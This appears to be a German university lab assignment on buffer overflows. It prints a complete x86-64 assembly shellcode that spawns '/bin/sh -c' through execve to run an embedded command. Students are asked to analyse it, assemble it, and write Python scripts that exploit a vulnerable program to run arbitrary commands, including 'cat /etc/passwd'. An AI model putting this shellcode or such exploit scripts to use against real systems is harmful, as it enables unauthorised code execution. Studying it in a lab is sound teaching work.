



Das Ziel dieses Praktikums ist die Vertiefung der Kenntnisse zu Buffer Overflows.

1 Ein interessanter Shellcode

Im Internet ist folgender Shellcode gefunden worden:

```
1 bits 64
2
3 section .text
4     global _start
5
6 _start:
7     xor rcx, rcx
8     push rcx
9     mov rcx, 0x68732f6e69622fff
10    shr rcx, 8
11    push rcx
12    push rsp
13    pop rdi
14
15    xor rcx, rcx
16    push rcx
17    push word 0x632d
18    push rsp
19    pop rbx
20
21    xor rcx, rcx
22    push rcx
23    jmp command
24
25 execve:
26    pop rdx
27    push rdx
28    xor byte [rdx+5], 0x41
29    push rbx
30    push rdi
31    push rsp
32    pop rsi
33
34    xor rdx, rdx
35    mov al, 59
```

```
36     syscall
37
38 command:
39     call execve
40     data: db "ls -lA"
```

Aufgabe 1.

- a) Analysieren Sie den Shellcode.
- b) Beschreiben Sie detailliert, wie der Shellcode arbeitet. Veranschaulichen mit einer Grafik, wie der Hauptspeicher vom Shellcode verwaltet wird. Wo werden die Daten gespeichert, die in einem System-Call verwendet werden?
- c) Implementieren Sie den Shellcode und übersetzen Sie ihn in eine Binärdatei.
- d) Entwickeln Sie ein Python-Skript, um den Shellcode über das Programm **hackme** auszuführen.
- e) Dokumentieren Sie Ihre Erkenntnisse und die von Ihnen durchgeführten Arbeiten.

2 Ausbau des Shellcodes

Im folgenden soll der Shellcode ausgebaut werden, um ein beliebiges Programm auszuführen. Hierzu muss der Shellcode an zwei Stellen modifiziert werden. Um flexibel zu sein, werden die Modifikationen automatisiert mit einem Python Programm durchgeführt.

Aufgabe 2.

- a) Erstellen Sie auf Basis des Skripts von Aufgabe 1 ein neues Python-Skript, mit dem man ein beliebiges Linux-Programm ausführen kann. Das Programm inklusive Parameter soll dabei als String innerhalb des Skripts gespeichert werden.
- b) Testen Sie Ihr Skript, indem Sie folgende Befehle ausführen:
 - `ls -a -t /usr/bin`
 - `ps ax`
 - `cat /etc/passwd`
- c) Dokumentieren Sie die von Ihnen durchgeführten Arbeiten.